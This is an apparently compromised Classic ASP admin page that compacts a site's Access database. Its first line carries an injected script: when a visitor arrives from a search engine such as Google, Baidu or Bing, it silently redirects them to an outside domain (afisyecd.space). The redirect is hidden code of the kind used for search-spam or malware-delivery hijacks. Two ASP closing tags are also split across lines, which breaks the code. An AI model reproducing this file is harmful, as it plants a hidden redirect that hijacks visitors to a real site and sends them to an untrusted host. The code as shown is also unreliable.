d:\wwwroot\wuchunhua\sendmail\data_compress.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <html>
003: <head>
004: <title>管理</title>
005: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006: <link rel="stylesheet" href="inc/style.css">
007: </head>
008: <body>
009: <%CheckString("09")%>
010: <%
011: dim action
012: action=request.QueryString("action")
013:
014: if action="compress" then
015:    Dim CompactState
016:    CompactState = CompactDB(MainPath & AccessDb)
017:    If CompactState Then
018:       alert "数据库压缩成功;","?"
019:    Else
020:       alert "数据库压缩失败,请检查数据库连接路径;","?"
021:    End if
022: end if
023: %
>
024: <table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
025:   <tr>
026:     <td colspan="2" class="table_titlebg">数据库压缩</td>
027:   </tr>
028:   <tr>
029:     <td width="34%" align="center" class="table_trbg02"><strong>仅支持ACCESS版本的数据库压缩</strong></td>
030:   </tr>
031: <%If IsSqlDataBase=0 then%>
032:   <tr>
033:     <td height="40" align="center" class="table_trbg02"><input type="submit" name="Submit" value="开始压缩"  onClick="this.disabled=true;this.value='正在压缩请稍候..';window.location='?action=compress';"></td>
034:   </tr>
035: <%End if%>
036: </table>
037: <%
038: Function CompactDB(dbPath)
039: Dim fso, Engine, strDBPath,JET_3X
040: dbPath=server.mappath(dbPath)
041: strDBPath = left(dbPath,instrrev(DBPath,"\"))
042: Set fso = CreateObject("Scripting.FileSystemObject")
043: If fso.FileExists(dbPath) Then
044:    fso.CopyFile dbpath,strDBPath & "temp.mdb"
045:    Set Engine = CreateObject("JRO.JetEngine")
046:
047:       Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & "temp.mdb", _
048:       "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & "temp1.mdb"
049:
050: fso.CopyFile strDBPath & "temp1.mdb",dbpath
051: fso.DeleteFile(strDBPath & "temp.mdb")
052: fso.DeleteFile(strDBPath & "temp1.mdb")
053: Set fso = nothing
054: Set Engine = nothing
055:
056:    CompactDB = true
057:
058: Else
059:    CompactDB = false
060: End If
061:
062: End Function
063: %
>
064: </body>
065: </html>
066:
067: